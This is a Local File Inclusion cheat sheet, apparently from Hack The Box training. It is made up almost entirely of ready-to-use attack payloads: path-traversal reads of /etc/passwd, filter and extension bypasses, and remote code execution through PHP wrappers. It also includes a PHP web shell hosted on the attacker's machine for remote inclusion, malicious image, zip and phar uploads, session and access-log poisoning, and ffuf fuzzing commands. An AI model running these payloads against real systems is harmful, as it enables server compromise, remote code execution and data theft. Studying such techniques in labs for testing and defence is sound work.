LFI cheatsheet - HTB
Command | Description |
Basic LFI | |
/index.php?language=/etc/passwd | Basic LFI |
/index.php?language=../../../../etc/passwd | LFI with path traversal |
/index.php?language=/../../../etc/passwd | LFI with name prefix |
/index.php?language=./languages/../../../../etc/passwd | LFI with approved path |
LFI Bypasses | |
/index.php?language=....//....//....//....//etc/passwd | Bypass basic path traversal filter |
/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 | Bypass filters with URL encoding |
/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times] | Bypass appended extension with path truncation (obsolete) |
/index.php?language=../../../../etc/passwd%00 | Bypass appended extension with null byte (obsolete) |
/index.php?language=php://filter/read=convert.base64-encode/resource=config | Read PHP with base64 filter |
Command | Description |
PHP Wrappers | |
/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id | RCE with data wrapper |
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | RCE with input wrapper |
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id" | RCE with expect wrapper |
RFI | |
echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING_PORT> | Host web shell |
/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id | Include remote PHP web shell |
LFI + Upload | |
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif | Create malicious image |
/index.php?language=./profile_images/shell.gif&cmd=id | RCE with malicious uploaded image |
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php | Create malicious zip archive 'as jpg' |
/index.php?language=zip://shell.zip%23shell.php&cmd=id | RCE with malicious uploaded zip |
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg | Create malicious phar 'as jpg' |
/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id | RCE with malicious uploaded phar |
Log Poisoning | |
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd | Read PHP session parameters |
/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E | Poison PHP session with web shell |
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id | RCE through poisoned PHP session |
curl -s "http://<SERVER_IP>:<PORT>/index.php" -A '<?php system($_GET["cmd"]); ?>' | Poison server log |
/index.php?language=/var/log/apache2/access.log&cmd=id | RCE through poisoned PHP session |
Command | Description |
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287 | Fuzz page parameters |
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287 | Fuzz LFI payloads |
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287 | Fuzz webroot path |
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287 | Fuzz server configurations |
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Function | Read Content | Execute | Remote URL |
PHP | | | |
include()/include_once() | ✅ | ✅ | ✅ |
require()/require_once() | ✅ | ✅ | ❌ |
file_get_contents() | ✅ | ❌ | ✅ |
fopen()/file() | ✅ | ❌ | ❌ |
NodeJS | | | |
fs.readFile() | ✅ | ❌ | ❌ |
fs.sendFile() | ✅ | ❌ | ❌ |
res.render() | ✅ | ✅ | ❌ |
Java | | | |
include | ✅ | ❌ | ❌ |
import | ✅ | ✅ | ✅ |
.NET | | | |
@Html.Partial() | ✅ | ❌ | ❌ |
@Html.RemotePartial() | ✅ | ❌ | ✅ |
Response.WriteFile() | ✅ | ❌ | ❌ |
include | ✅ | ✅ | ✅ |
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